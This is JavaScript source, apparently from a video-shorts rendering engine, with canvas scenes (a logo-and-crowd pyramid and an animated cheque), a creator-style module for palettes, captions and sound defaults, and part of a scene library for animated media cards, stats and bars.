  if (kind === 'openai') openaiLogo(ctx, x + size / 2, y + size / 2, size * .56, col);
  else mistralLogo(ctx, x + size / 2, y + size / 2, size * .5, col, mix(C.dim, C.ink3, act));
  text(ctx, lbl, x + size / 2, y + size + 66, { size: 46, weight: 800, ls: -.8, align: 'center', color: col });
}
// {from, to, header: {text, at}, tilesAt, leaveAt, flowAt, pyrAt, lowAt, eliteAt, samAt, bestAt, n: 40, elite: 4}
const crowd = {
  draw(R, s, t) {
    const { ctx } = R, n = s.n || 40, ne = s.elite || 4, size = 250, ty = 420, xl = 150, xr = W - 150 - size;
    env(ctx, s, t, pin => {
      const pyr = S(t - s.pyrAt, 7), tilesOut = S(t - s.pyrAt, 12);
      // phase A: tiles + header
      alpha(ctx, 1 - tilesOut, () => {
        ctx.translate(0, -60 * tilesOut);
        if (s.header) rise(ctx, P(t, s.header.at - (s.pre || 0), 12), 40, () => text(ctx, s.header.text, W / 2, 320, { size: 64, weight: 800, ls: -1.5, align: 'center' }));
        const flow = S(t - s.flowAt, 8), leave = P(t, s.leaveAt, 10);
        rise(ctx, P(t, s.tilesAt, 12), 50, () => {
          logoTile(ctx, xl, ty, size, 'openai', 1 - flow, 'GPT');
          logoTile(ctx, xr, ty, size, 'mistral', flow, 'Mistral');
          // arrow between the tiles
          const ax0 = xl + size + 40, ax1 = xr - 40, ay = ty + size / 2, g = E.out(seg(t, s.leaveAt, s.leaveAt + .5));
          if (g > 0) { ctx.strokeStyle = C.ink; ctx.lineWidth = 7; ctx.lineCap = 'round'; ctx.lineJoin = 'round'; const xe = lerp(ax0, ax1, g); ctx.beginPath(); ctx.moveTo(ax0, ay); ctx.lineTo(xe, ay); ctx.moveTo(xe - 22, ay - 22); ctx.lineTo(xe, ay); ctx.lineTo(xe - 22, ay + 22); ctx.stroke(); }
          void leave;
        });
      });
      // pyramid frame (phase B)
      const apex = [W / 2, 430], baseY = 1150, baseW = 880, cutY = 690;
      const fr = E.out(seg(t, s.pyrAt + .1, s.pyrAt + .9));
      if (fr > 0) {
        ctx.save(); ctx.strokeStyle = C.ink; ctx.lineWidth = 5; ctx.lineJoin = 'round';
        ctx.beginPath(); ctx.moveTo(W / 2 - baseW / 2, baseY); ctx.lineTo(apex[0], apex[1]); ctx.lineTo(W / 2 + baseW / 2, baseY); ctx.closePath();
        ctx.setLineDash([2400 * fr, 2400]); ctx.stroke(); ctx.setLineDash([]);
        const half = (cutY - apex[1]) / (baseY - apex[1]) * baseW / 2;
        alpha(ctx, fr, () => { ctx.setLineDash([10, 12]); ctx.lineWidth = 3; ctx.strokeStyle = C.ink3; ctx.beginPath(); ctx.moveTo(W / 2 - half, cutY); ctx.lineTo(W / 2 + half, cutY); ctx.stroke(); ctx.setLineDash([]); });
        ctx.restore();
        const ql = P(t, s.lowAt, 12);
        if (ql > .002) rise(ctx, ql, 24, () => { mistralLogo(ctx, W / 2 - 150, 1070, 58, C.ink, C.ink3); text(ctx, '& co', W / 2 - 100, midBase(1070, 44), { size: 44, weight: 800, color: C.ink2 }); });
        const qb = P(t, s.bestAt, 12);
        if (qb > .002) rise(ctx, qb, 24, () => { sheet(ctx, W / 2 - 85, 215, 170, 170, 44, { elev: 1.1 }); openaiLogo(ctx, W / 2, 300, 108, C.ink); });
      }
      // the crowd
      const cols = 8, r = 17, gap = 44;
      for (let i = 0; i < n; i++) {
        const isE = i >= n - ne, j = isE ? i - (n - ne) : i;
        const gA = [xl + size / 2 + ((i % cols) - (cols - 1) / 2) * gap * .78, ty + size + 150 + Math.floor(i / cols) * gap * .9];
        const k = n - ne, colsB = 8, gB = [xr + size / 2 + ((j % colsB) - (colsB - 1) / 2) * gap * .78, ty + size + 150 + Math.floor(j / colsB) * gap * .9];
        // pyramid slots: the crowd fills the lower trapezoid, the elite sits near the apex
        let gC;
        if (isE) gC = [W / 2 + (j - (ne - 1) / 2) * 50, 610];
        else {
          const rowsC = [14, 12, 10], ri = j < rowsC[0] ? 0 : j < rowsC[0] + rowsC[1] ? 1 : 2, ci = j - rowsC.slice(0, ri).reduce((a, b) => a + b, 0), cnt = Math.min(rowsC[ri], k - rowsC.slice(0, ri).reduce((a, b) => a + b, 0));
          gC = [W / 2 + (ci - (cnt - 1) / 2) * 54, 1100 - ri * 58 - 70];
        }
        const f = isE ? 0 : S(t - s.flowAt - j * .025, 9), p = pyr > 0 ? S(t - s.pyrAt - .2 - (isE ? .3 : j * .012), 8) : 0;
        let x = lerp(gA[0], gB[0], f), y = lerp(gA[1], gB[1], f) - Math.sin(f * Math.PI) * 90;
        x = lerp(x, gC[0], p); y = lerp(y, gC[1], p);
        const appear = P(t, s.tilesAt + .15 + i * .012, 12); if (appear <= .002) continue;
        const el = isE ? P(t, s.eliteAt, 12) : 0;
        alpha(ctx, Math.min(1, appear * 1.4) * (1 - tilesOut * 0) , () => {
          ctx.beginPath(); ctx.arc(x, y + (1 - appear) * 30, r * (isE ? 1 + .25 * el : 1), 0, TAU); ctx.fillStyle = isE ? mix(C.ink2, C.blue, el) : mix(C.ink2, C.ink3, p * .4); ctx.fill();
        });
      }
      // elite ring + labels
      const qe = P(t, s.eliteAt, 12);
      if (qe > .002) alpha(ctx, qe, () => { ctx.beginPath(); ctx.roundRect(W / 2 - 120, 610 - 44, 240, 88, 44); ctx.strokeStyle = C.blue; ctx.lineWidth = 5; ctx.stroke(); });
      const qs = P(t, s.samAt, 12);
      if (qs > .002) rise(ctx, qs, 20, () => { ctx.strokeStyle = C.ink; ctx.lineWidth = 4; ctx.beginPath(); ctx.moveTo(W / 2 + 124, 610); ctx.lineTo(W / 2 + 190, 610); ctx.stroke(); chip(ctx, W / 2 + 196, 610, 'Sam Altman', { align: 'left', size: 42, h: 86, fill: C.ink, color: C.white, border: false }); });
      void pin;
    });
  },
};

// ---------------------------------------------------------------- cheque
// {rect: [x, y, w], logo: 'assets/logos/x.png', payer, city, no, date, payee, words, memo, amount, currency: '$',
//  writeAt (payee + words + signature written), countFrom, countTo (amount 0 -> amount), zeroAt (rolls back to 0),
//  stampAt, stamp: 'SANS PROVISION'}. Height is fixed (560).
const HAND = '"Bradley Hand", "Snell Roundhand", cursive';
const money = (v, cur) => Math.round(v).toString().replace(/\B(?=(\d{3})+(?!\d))/g, ' ') + ' ' + cur;
function handwrite(ctx, str, x, y, size, p, color) {   // revealed left to right like a pen
  if (p <= .002) return; const w = measure(ctx, str, size, 700, 0, HAND) + 20;
  ctx.save(); ctx.beginPath(); ctx.rect(x - 10, y - size * 1.3, w * p, size * 1.9); ctx.clip();
  text(ctx, str, x, y, { size, weight: 700, fam: HAND, color }); ctx.restore();
}
function scribble(ctx, x, y, w, p, color) {   // abstract signature, drawn progressively
  if (p <= .002) return; const n = 70; ctx.save(); ctx.beginPath();
  for (let i = 0; i <= n * p; i++) { const u = i / n, xx = x + u * w + Math.sin(u * TAU * 4.3) * 20, yy = y - Math.sin(u * TAU * 2.1 + 1) * 22 * (1 - u * .5) - Math.cos(u * TAU * 6.4) * 9; i ? ctx.lineTo(xx, yy) : ctx.moveTo(xx, yy); }
  ctx.strokeStyle = color; ctx.lineWidth = 4; ctx.lineCap = 'round'; ctx.lineJoin = 'round'; ctx.stroke(); ctx.restore();
}
const cheque = {
  draw(R, s, t) {
    const { ctx } = R, [x, y, w] = s.rect || [60, 300, W - 120], h = 560, pad = 48, cur = s.currency || '$';
    env(ctx, s, t, p => rise(ctx, p, 90, () => {
      sheet(ctx, x, y, w, h, 34, { elev: 1.4 });
      ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, w, h, 34); ctx.clip();   // guilloche + blue edge band
      ctx.strokeStyle = 'rgba(37,142,255,.075)'; ctx.lineWidth = 2;
      for (let k = 0; k < 16; k++) { ctx.beginPath(); for (let i = 0; i <= 80; i++) { const u = i / 80, xx = x + u * w, yy = y + 20 + k * 34 + Math.sin(u * TAU * 2.5 + k * .55) * 16; i ? ctx.lineTo(xx, yy) : ctx.moveTo(xx, yy); } ctx.stroke(); }
      ctx.fillStyle = C.blue; ctx.fillRect(x, y, 16, h); ctx.restore();
      const lx = x + pad + 8;
      // header: logo, payer, number, date
      const im = s.logo ? R.img('/p/' + s.logo) : null;
      if (im) { ctx.save(); ctx.beginPath(); ctx.roundRect(lx, y + 40, 84, 84, 20); ctx.clip(); ctx.imageSmoothingQuality = 'high'; ctx.drawImage(im, lx, y + 40, 84, 84); ctx.restore(); }
      const nx = lx + (im ? 84 + 24 : 0);
      text(ctx, s.payer || '', nx, y + 82, { size: 42, weight: 800, ls: -.8 });
      if (s.city) text(ctx, s.city, nx, y + 122, { size: 34, weight: 500, color: C.ink3 });
      if (s.no) text(ctx, s.no, x + w - pad, y + 82, { size: 34, weight: 600, color: C.ink3, align: 'right' });
      if (s.date) text(ctx, s.date, x + w - pad, y + 122, { size: 34, weight: 600, color: C.ink2, align: 'right' });
      ctx.fillStyle = C.line; ctx.fillRect(lx, y + 164, w - pad * 2 - 8, 2);
      // payee
      const pw = E.io(seg(t, s.writeAt ?? 1e9, (s.writeAt ?? 1e9) + .8));
      text(ctx, "Payez à l'ordre de", lx, y + 226, { size: 34, weight: 500, color: C.ink3 });
      ctx.fillStyle = C.ink3; ctx.fillRect(lx, y + 312, w - pad * 2 - 8, 2);
      handwrite(ctx, s.payee || '', lx + 10, y + 298, 84, pw, C.ink);
      // amount in words (struck when the amount rolls back) + amount box
      const zw = s.zeroAt != null ? E.io(seg(t, s.zeroAt, s.zeroAt + .45)) : 0;
      text(ctx, 'La somme de', lx, y + 376, { size: 34, weight: 500, color: C.ink3 });
      ctx.fillStyle = C.ink3; ctx.fillRect(lx, y + 448, 470, 2);
      const ww = E.io(seg(t, (s.writeAt ?? 1e9) + .5, (s.writeAt ?? 1e9) + 1.3));
      handwrite(ctx, s.words || '', lx + 6, y + 436, 50, ww, mix(C.ink, C.ink3, zw));
      if (zw > .002 && s.words) { const sw = measure(ctx, s.words, 50, 700, 0, HAND); ctx.fillStyle = C.blue; ctx.fillRect(lx, y + 420, (sw + 16) * zw, 5); }
      const bw = 360, bx = x + w - pad - bw, by = y + 352, bh = 116;
      ctx.beginPath(); ctx.roundRect(bx, by, bw, bh, 22); ctx.fillStyle = C.tint; ctx.fill(); ctx.lineWidth = 3; ctx.strokeStyle = C.blue; ctx.stroke();
      const up = E.out(seg(t, s.countFrom ?? 1e9, s.countTo ?? 1e9)), v = (s.amount || 0) * up * (1 - zw);
      const vs = v >= 1e5 ? Math.round(v / 1e4) * 1e4 : Math.round(v / 10) * 10;
      text(ctx, money(vs, cur), bx + bw / 2, midBase(by + bh / 2, 58), { size: 58, weight: 800, ls: -1.6, align: 'center', color: mix(C.blue, C.ink3, zw) });
      // memo + signature
      if (s.memo) text(ctx, s.memo, lx, y + 516, { size: 34, weight: 500, color: C.ink2 });
      ctx.fillStyle = C.ink3; ctx.fillRect(x + w - pad - 260, y + 520, 260, 2);
      scribble(ctx, x + w - pad - 236, y + 498, 210, E.io(seg(t, (s.writeAt ?? 1e9) + .9, (s.writeAt ?? 1e9) + 1.7)), C.ink);
      if (s.stamp) stamp(ctx, x + w / 2, y + h / 2 + 10, s.stamp, P(t, s.stampAt, 11), { size: 74, rot: -.09, solid: true });
    }));
  },
};

export const STORY = { foilHat, stampOver, sea, giec, bike, equation, crowd, cheque };

// Creator style: the look and pace every short of one creator shares (colors, font, paper grain, captions, pace,
// music, mix). Written by the studio-setup skill to a LOCAL <project>/.short-editing/styles/<name>/style.json; `short.mjs init` snapshots it
// into <project>/source/style.json, so changing the profile later never restyles a finished short.
// Layer order: engine defaults < style < spec. A spec value always wins. A project without source/style.json
// renders exactly as before (legacy shorts are never touched).
// Pure module: used by short.mjs (node), audio.mjs and the browser runtime.

const clamp = (x, a, b) => Math.min(b, Math.max(a, x));
const rgb = h => { h = String(h).replace('#', ''); if (h.length === 3) h = h.replace(/./g, '$&$&'); return [0, 2, 4].map(i => parseInt(h.slice(i, i + 2), 16)); };
const hexOf = a => '#' + a.map(v => Math.round(clamp(v, 0, 255)).toString(16).padStart(2, '0')).join('').toUpperCase();
const lum = h => { const [r, g, b] = rgb(h).map(v => v / 255); return .2126 * r + .7152 * g + .0722 * b; };
export const mixHex = (a, b, p) => { const x = rgb(a), y = rgb(b); return hexOf(x.map((v, i) => v + (y[i] - v) * p)); };
export const isHex = h => /^#?([0-9a-f]{3}|[0-9a-f]{6})$/i.test(String(h || ''));
// relative luminance (WCAG), to check that ink reads on the paper and white reads on the accent
export const luminance = h => { const [r, g, b] = rgb(h).map(v => { v /= 255; return v <= .03928 ? v / 12.92 : ((v + .055) / 1.055) ** 2.4; }); return .2126 * r + .7152 * g + .0722 * b; };
export const contrast = (a, b) => { const x = luminance(a), y = luminance(b); return (Math.max(x, y) + .05) / (Math.min(x, y) + .05); };

// style.colors = {paper, ink, accent} (any other kit.js C key can be pinned too: sheet, ink2, ink3, line, dim, accent2,
// tint). The rest is derived so the whole kit (sheets, hairlines, grays, the accent's dark and tint) stays coherent.
// Derived from the defaults it gives back the original palette within a few levels.
export function palette(c = {}) {
  const paper = c.paper || '#F1EEE6', ink = c.ink || '#14161B', accent = c.accent || '#258EFF';
  const sheet = c.sheet || mixHex(paper, '#FFFFFF', .78);
  return {
    paper, sheet, ink, blue: accent,
    ink2: c.ink2 || mixHex(ink, paper, .3),
    ink3: c.ink3 || mixHex(ink, paper, .62),
    line: c.line || mixHex(paper, ink, .065),
    dim: c.dim || mixHex(paper, ink, .11),
    blue2: c.accent2 || mixHex(accent, '#000000', .16),
    tint: c.tint || mixHex(sheet, accent, .11),
    // text on an accent fill: ink on a light accent (yellow), white on a dark one (blue)
    onBlue: c.onAccent || (lum(accent) > .55 ? ink : '#FFFFFF'),
    // second fill color for labels (k: 'label', bg: 'pop'), e.g. the podcast violet; defaults to ink
    pop: c.pop || ink,
  };
}

// The caption looks (same order as the capStyles scene, which cycles the first 20). 'sticker' is the default per-word paper
// sticker; 'clean' is the white sentence-case pill of the clean look (sized by captions.size directly, 40-44).
// 'rise' and 'hard' follow the spoken word (runtime.js): the word being said sits on an accent block.
//   rise: white words with a soft shadow (ink on the paper), the block blurs in, sharp in ~.15 s, then fades out in place (DM Sans 900)
//   hard: ink words with a paper outline, the block is a flat rect with a hard ink shadow (Bricolage Grotesque 800)
// 'stack' (nico-slowdown, runtime.js stackCaption) switches with the layout. Full camera or paper alone: the chunk builds
// word by word into a centered stack, small bold words flowing on a line, the key word (captions.emph, else the longest
// content word) alone on its own line, huge, uppercase, condensed (Archivo 900). Split: one word at a time, regular
// weight, accent text on a tight white label straddling the camera's top edge.
// 'band' (justyn-ai, runtime.js bandCaption): the whole line on one flat block (captions.bg, default ink), words in
// captions.font, white (captions.color), emphasised words in captions.hi (default the tint). No motion: hard in, hard out.
// captions.bg 'none' (aiwithremy): no block, the words sit on the video with a soft shadow (captions.shadow false = none).
// 'dim' (speedy-devv, runtime.js dimCaption, appended last so numeric indexes stay put): the phrase builds word by word,
// spoken words in captions.color (grey, captions.dimWeight 500), the word being said in captions.hi (white) at
// captions.weight, an emphasised word keeps a dark pill (captions.pill, default #2B2B2B) once said; each word blurs in.
export const CAPTION_STYLES = ['sticker', 'pill', 'box', 'caps', 'karaoke', 'underline', 'serif', 'chip', 'highlight', 'outline',
  'punch', 'light', 'split', 'tiles', 'tilted', 'typing', 'accent', 'stacked', 'brackets', 'bar', 'clean', 'rise', 'hard', 'stack', 'band', 'dim'];
// default family and weight per word-block look (captions.font / captions.weight override them)
export const CAPTION_FONTS = { rise: ['DM Sans', 900], hard: ['Bricolage Grotesque', 800] };
export const captionStyleIndex = s => {
  if (s == null || s === '') return 0;
  if (typeof s === 'number') return clamp(Math.round(s) - 1, 0, CAPTION_STYLES.length - 1);   // 1-based, like the "Style 07 / 20" counter
  const i = CAPTION_STYLES.indexOf(String(s).toLowerCase()); return i < 0 ? 0 : i;
};

// subscribe button words when the profile only gives a name (any other language: write cta.button / done in the profile)
const CTA = { fr: { sub: 'Plus de vidéos', button: "S'abonner", done: 'Abonné' }, en: { sub: 'More videos', button: 'Subscribe', done: 'Subscribed' },
  es: { sub: 'Más vídeos', button: 'Suscribirse', done: 'Suscrito' }, pt: { sub: 'Mais vídeos', button: 'Inscrever-se', done: 'Inscrito' },
  de: { sub: 'Mehr Videos', button: 'Abonnieren', done: 'Abonniert' }, it: { sub: 'Altri video', button: 'Iscriviti', done: 'Iscritto' } };
export const ctaDefaults = lang => CTA[String(lang || 'fr').slice(0, 2).toLowerCase()] || CTA.en;

// Long-form sound (format youtube): the shorts profile's sfx never applies. Only paper slides, tweet shutters and the
// quiet marker, at most one hit every 20 s (about 3 per minute), SFX bus at -36 LUFS. A spec.sfx / spec.mix key still
// wins. YouTube comments on the Mistral video (2026-10-08): "j'en peux plus des tings", "les clochettes c'est fini",
// "ding dong, flush, slide": it had 17 hits per minute with bells and blips.
export const LONG_SFX = { appear: 'slide', accents: 0, marker: .4, swish: 0, only: ['slide', 'shutter', 'marker'], minGap: 20 };

// style -> spec defaults. Only keys the spec leaves out are filled; objects merge one level deep (spec keys win).
export function withStyle(spec, st) {
  if (!spec || !st) return spec;
  const o = { ...spec }, under = (k, v) => { if (v && typeof v === 'object') o[k] = { ...v, ...(spec[k] || {}) }; };
  if (spec.speed == null && st.pace?.speed != null) o.speed = st.pace.speed;
  under('tighten', st.pace?.tighten);
  under('captions', st.captions);
  under('music', st.music);
  under('mix', st.mix);
  under('zoom', st.zoom);   // zoom.drift: the slow push per shot (runtime.js)
  if (spec.format === 'youtube') { o.sfx = { ...LONG_SFX, ...(spec.sfx || {}) }; o.mix = { ...(st.mix || {}), sfx: -36, ...(spec.mix || {}) }; }
  else under('sfx', st.sfx);
  under('layout', st.layout);   // layout.card: the fixed camera card of the clean look (runtime.js)
  under('header', st.header);   // header: brand top left + tagline top right, drawn on every frame of a card layout
  under('display', st.display);   // display: the big-text look (kit.js D): counters and big numbers family, flat or embossed
  if (spec.grade == null && st.grade != null) o.grade = st.grade;
  if (spec.cuts == null && st.cuts != null) o.cuts = st.cuts;   // cuts: 'hard' = boards, cutouts and B-roll in and out in one frame (runtime.js)   // camera colour grade, baked at prepare (short.mjs)
  // creator: {name, lang, cta: {sub, button, done}} fills the CTA card text a cta scene leaves out
  const cr = st.creator, cta = cr && Object.fromEntries(Object.entries({ name: cr.name, ...ctaDefaults(cr.lang), ...(cr.cta || {}) }).filter(([, v]) => v != null && v !== ''));
  if (cta && Array.isArray(spec.scenes)) o.scenes = spec.scenes.map(s => s?.type === 'cta' ? { ...cta, ...s } : s);
  return o;
}

// style -> kit.setTheme() input (browser)
export const themeOf = st => ({
  colors: st?.colors ? palette(st.colors) : null,
  font: st?.font?.family || null,
  grain: st?.paper?.grain ?? null,
  tooth: st?.paper?.tooth ?? null,
  toothCell: st?.paper?.toothCell ?? null,
  waves: st?.paper?.waves ?? null,
  mottle: st?.paper?.mottle ?? null,
  depth: st?.paper?.depth ?? null,
  logos: st?.paper?.logos ?? null,
  bg: st?.paper?.bg ?? null,
  dots: st?.paper?.dots ?? null,
  shadow: st?.paper?.shadow ?? null,
});

// Scene library. A scene is {type, from, to, layer?: 'stage' | 'over', ...params} in spec.scenes (times already
// mapped to SHORT time). Stage scenes live on the paper above the seam; 'over' scenes float above everything.
// R = runtime handle: {ctx, t, seam, spec, tl, frame(mediaId, clipT) -> bitmap|null, cam -> bitmap}.
import { C, D, W, H, clamp, lerp, seg, E, S, leave, vis, press, track, sheet, shadow, text, measure, midBase, wrap, chip, cursor, cover, checkIcon, sheetFill, hash, noise1, zoomLayer, zoomAt } from './kit.js';
import { typing } from './timeline.js';
import { STORY } from './scenes-story.js';
import { LIFE } from './scenes-life.js';
import { META } from './scenes-meta.js';
import { FACE } from './scenes-faceless.js';
import { MASTER } from './scenes-master.js';
import { CRASH } from './scenes-crash.js';
import { CLEAN } from './scenes-clean.js';

const TAU = Math.PI * 2;
const hex = c => [1, 3, 5].map(i => parseInt(c.slice(i, i + 2), 16));
export const mix = (a, b, p) => { const x = hex(a), y = hex(b); return `rgb(${x.map((v, i) => Math.round(lerp(v, y[i], clamp(p)))).join(',')})`; };
function alpha(ctx, a, fn) { if (a <= .002) return; ctx.save(); ctx.globalAlpha *= a; fn(); ctx.restore(); }
// Rise-in: p 0..1 from a spring. Content slides up `dist` px and fades in. No overshoot, ever.
function rise(ctx, p, dist, fn, dx = 0) { alpha(ctx, Math.min(1, p * 1.35), () => { ctx.translate(dx * (1 - p), dist * (1 - p)); fn(); }); }
// Real logos: a `logo` that is a project image path ('assets/logos/x.png') is drawn as an app icon (contain, rounded clip).
export const isImgLogo = v => typeof v === 'string' && /\.(png|jpe?g|webp)$/i.test(v);
function logoImg(R, ctx, src, x, y, size, r = size * .22, o = {}) {
  const im = R.img('/p/' + src); if (!im) return;
  const k = Math.min(size / im.width, size / im.height), w = im.width * k, h = im.height * k;
  ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, size, size, r); ctx.clip();
  if (o.gray) ctx.filter = `grayscale(${o.gray})`;
  ctx.imageSmoothingQuality = 'high'; ctx.drawImage(im, x + (size - w) / 2, y + (size - h) / 2, w, h); ctx.restore();
}
// Scene-level envelope: enter spring, exit fade + small lift.
// _gate (linkScenes): right after another scene's exit, the enter waits until the old one is mostly gone.
// push: 0.04 = a slow push-in over the whole scene (scale 1 -> 1.04 from `from` to `to`, sine eased), around pushAt
// (default the stage centre; give output px for an 'over' scene). Long-form: keeps a held card alive without a cut.
function env(ctx, s, t, fn) {
  const out = s.to == null ? 0 : s.hard ? +(t >= s.to) : leave(t - s.to), at = Math.max(s.from - (s.pre || 0), s._gate ?? -1e9);   // pre: enter early (hook on frame 1)
  alpha(ctx, 1 - out, () => {
    ctx.translate(0, -36 * out * out);
    if (s.push) {
      const u = Math.min(1, Math.max(0, (t - at) / Math.max(.5, (s.to ?? at + 6) - at))), k = 1 + s.push * (1 - Math.cos(Math.PI * u)) / 2;
      const [px, py] = s.pushAt || [540, 540];
      zoomAt(ctx, k, px, py);
    }
    fn(S(t - at, 12));
  });
}
const clipTime = (t, from, offset = 0) => Math.max(0, offset + t - from);

// ---------------------------------------------------------------- media card ("actor")
export function actorNeeds(a, t) {
  const pre = a.pre || 0;
  if (t < a.from - pre - .05 || t > (a.to ?? 1e9) + .7) return [];
  return [[a.media, clipTime(t, a.from, a.offset)]];
}

function card(R, x, y, w, h, img, o = {}) {
  const { ctx } = R;
  if (o.stack) alpha(ctx, o.stack, () => {
    ctx.save(); ctx.translate(x + w / 2 + 10, y + h / 2 + 12); ctx.rotate(-.028); ctx.translate(-(x + w / 2), -(y + h / 2));
    sheet(ctx, x - 12, y - 12, w + 24, h + 24, 30, { elev: .7 }); ctx.restore();
  });
  sheet(ctx, x - 12, y - 12, w + 24, h + 24, 30, { elev: o.elev ?? 1.2 });
  cover(ctx, img, x, y, w, h, 20);
  ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, w, h, 20); ctx.strokeStyle = 'rgba(20,22,27,.08)'; ctx.lineWidth = 1.5; ctx.stroke(); ctx.restore();
  if (o.dim > .002) {
    ctx.save(); ctx.beginPath(); ctx.roundRect(x - 12, y - 12, w + 24, h + 24, 30); ctx.clip();
    ctx.globalCompositeOperation = 'saturation'; ctx.globalAlpha = o.dim; ctx.fillStyle = '#808080'; ctx.fillRect(x - 12, y - 12, w + 24, h + 24);
    ctx.globalCompositeOperation = 'source-over'; ctx.globalAlpha = o.dim * .5; ctx.fillStyle = C.paper; ctx.fillRect(x - 12, y - 12, w + 24, h + 24);
    ctx.restore();
  }
}

// Card label: a plain line of text above the card's sheet (never on top of the content). dot = colour or null.
export function cardLabel(ctx, x, y, label, dot, a = 1, dy = 0, logo = null) {
  if (a <= .002) return;
  const size = 42, by = y - 12 - 26 + dy;
  alpha(ctx, a, () => {
    let tx = x - 4;
    if (logo) { logo(tx, by - size * .36 - 25, 50); tx += 66; }
    else if (dot) { ctx.beginPath(); ctx.arc(tx + 10, by - size * .36, 10, 0, TAU); ctx.fillStyle = dot; ctx.fill(); tx += 34; }
    text(ctx, label, tx, by, { size, weight: 700, ls: -.8, color: C.ink });
  });
}

function labelAt(list, t) { let cur = null, prev = null, at = -1e9; for (const [k, v] of list || []) if (t >= k) { prev = cur; cur = v; at = k; } return { cur, prev, at }; }

export function drawActor(R, a, t) {
  const { ctx } = R, pre = a.pre || 0;
  // hard (cuts: 'hard' style or the actor's own hard: true): the card is there in one frame and gone in one frame, no slide
  const pin = a.hard ? +(t >= a.from - pre) : S(t - (a.from - pre), 12), pout = a.to == null ? 0 : a.hard ? +(t >= a.to) : leave(t - a.to);
  if (pin <= .001 || pout >= .999) return;
  const [x, y, w] = track(t, a.keys, 11), h = w * (a.ar || 9 / 16);  // ar = h/w (16 / 9 for a phone-format card)
  const img = R.frame(a.media, clipTime(t, a.from, a.offset));
  const right = a.enter === 'right';
  ctx.save();
  ctx.globalAlpha *= Math.min(1, pin * 1.35) * (1 - pout);
  ctx.translate(right ? (1 - pin) * 700 : 0, (right ? 0 : (1 - pin) * 90) - pout * 50);
  const sc = .965 + .035 * pin, cx = x + w / 2, cy = y + h / 2;
  ctx.translate(cx, cy); ctx.scale(sc, sc); ctx.translate(-cx, -cy);
  const dim = a.dimAt != null ? S(t - a.dimAt, 10) : 0;
  card(R, x, y, w, h, img, { stack: a.stack ? S(t - (a.from - pre) - .12, 10) : 0, dim });
  // highlighter strokes sweeping over phrases in the card: rect = [dx, dy, w, h] from the card's top-left.
  // mark = one stroke, marks = several (a phrase that wraps = one stroke per line, staggered `at`)
  for (const mk of [].concat(a.mark || [], a.marks || [])) {
    const { at, dur = .6, rect: [dx, dy, mw, mh] } = mk, p = E.cubic(seg(t, at, at + dur));
    if (p > .002) { ctx.save(); ctx.globalCompositeOperation = 'multiply'; ctx.fillStyle = 'rgba(37,142,255,.3)'; ctx.beginPath(); ctx.roundRect(x + dx - 8, y + dy - 4, (mw + 16) * p, mh + 8, 10); ctx.fill(); ctx.restore(); }
  }
  if (a.ringAt != null) {
    const p = S(t - a.ringAt, 12);
    alpha(ctx, p, () => { ctx.beginPath(); ctx.roundRect(x - 12 - 7 * (1 - p) - 4, y - 12 - 7 * (1 - p) - 4, w + 32 + 14 * (1 - p), h + 32 + 14 * (1 - p), 34); ctx.strokeStyle = C.blue; ctx.lineWidth = 5; ctx.stroke(); });
  }
  const L = labelAt(a.labelKeys, t);
  if (L.cur) {
    const sw = S(t - L.at, 16), dot = a.dot === 'blue' ? C.blue : a.dot === 'gray' ? C.ink3 : null;
    const lg = isImgLogo(a.labelLogo) ? (lx, ly, sz) => logoImg(R, ctx, a.labelLogo, lx, ly, sz) : null;   // labelLogo replaces the dot
    if (L.prev && sw < 1) cardLabel(ctx, x, y, L.prev, dot, 1 - sw, -18 * sw, lg);
    cardLabel(ctx, x, y, L.cur, dot, L.prev ? sw : 1, L.prev ? 18 * (1 - sw) : 0, lg);
  }
  if (a.badge) {
    const p = S(t - a.badge.at - .1, 13);
    if (p > .002) chip(ctx, x + w + 12, y - 12 - 26 - 15, a.badge.text, { align: 'right', size: 38, h: 76, fill: C.blue, color: C.white, check: true, checkP: E.out(seg(t, a.badge.at + .15, a.badge.at + .5)), alpha: Math.min(1, p * 1.4), scale: .9 + .1 * p, border: false });
  }
  ctx.restore();
}

// ---------------------------------------------------------------- scenes
const stat = {
  draw(R, s, t) {
    const { ctx } = R;
    env(ctx, s, t, pin => {
      const fam = D.font || undefined, wt = D.font ? D.weight : 800;   // style.display family when set
      const size = s.size || 300, ls = -size * (D.font ? .03 : .035), slot = measure(ctx, '0', size, wt, ls, fam) + ls;
      const fin = String(s.value), cnt = E.out(seg(t, s.countFrom, s.countTo)), cur = String(Math.round(s.value * cnt));
      const sw = s.suffix ? measure(ctx, s.suffix, size, wt, ls, fam) : 0, total = fin.length * slot + sw + size * .02;
      const x0 = W / 2 - total / 2, base = s.y;
      rise(ctx, pin, 70, () => {
        for (let i = 0; i < fin.length; i++) { const j = i - (fin.length - cur.length); if (j >= 0) text(ctx, cur[j], x0 + i * slot + slot / 2, base, { size, weight: wt, ls, fam, align: 'center' }); }
        if (s.suffix) text(ctx, s.suffix, x0 + fin.length * slot + size * .02, base, { size, weight: wt, ls, fam, color: C.blue });
      });
      if (s.chip) { const p = S(t - s.chip.at, 13); if (p > .002) rise(ctx, p, 26, () => chip(ctx, W / 2, s.chip.y, s.chip.text, { size: 40, h: 80, fill: C.blue, color: C.white, border: false })); }
    });
  },
};

const bars = {
  draw(R, s, t) {
    const { ctx } = R, bw = s.w || 900, x0 = (W - bw) / 2, bh = 108;   // centred, so it also works on the 1920-wide format
    env(ctx, s, t, () => {
      // tags row: final layout computed up front so chips never shift when a new one lands
      const tags = s.tags || [], tw = tags.map(g => measure(ctx, g.text, 40, 700, -.3) + 60), gap = 16;
      let tx = W / 2 - (tw.reduce((a, b) => a + b, 0) + gap * (tags.length - 1)) / 2;
      tags.forEach((g, i) => {
        const p = S(t - g.at, 13), cx = tx + tw[i] / 2; tx += tw[i] + gap;
        if (p > .002) rise(ctx, p, 22, () => chip(ctx, cx, 250, g.text, { size: 40, h: 82, padX: 30, fill: g.blue ? C.blue : undefined, color: g.blue ? C.white : C.ink, border: !g.blue }));
      });
      const rowY = i => s.y + i * 230;
      s.rows.forEach((r, i) => {
        const p = S(t - r.at, 12), ly = rowY(i), by = ly + 30;
        rise(ctx, p, 40, () => {
          text(ctx, r.label, x0, ly, { size: 54, weight: 800, color: r.blue ? C.ink : C.ink2, ls: -.8 });
          ctx.beginPath(); ctx.roundRect(x0, by, bw, bh, 30); ctx.fillStyle = 'rgba(40,30,10,.05)'; ctx.fill();
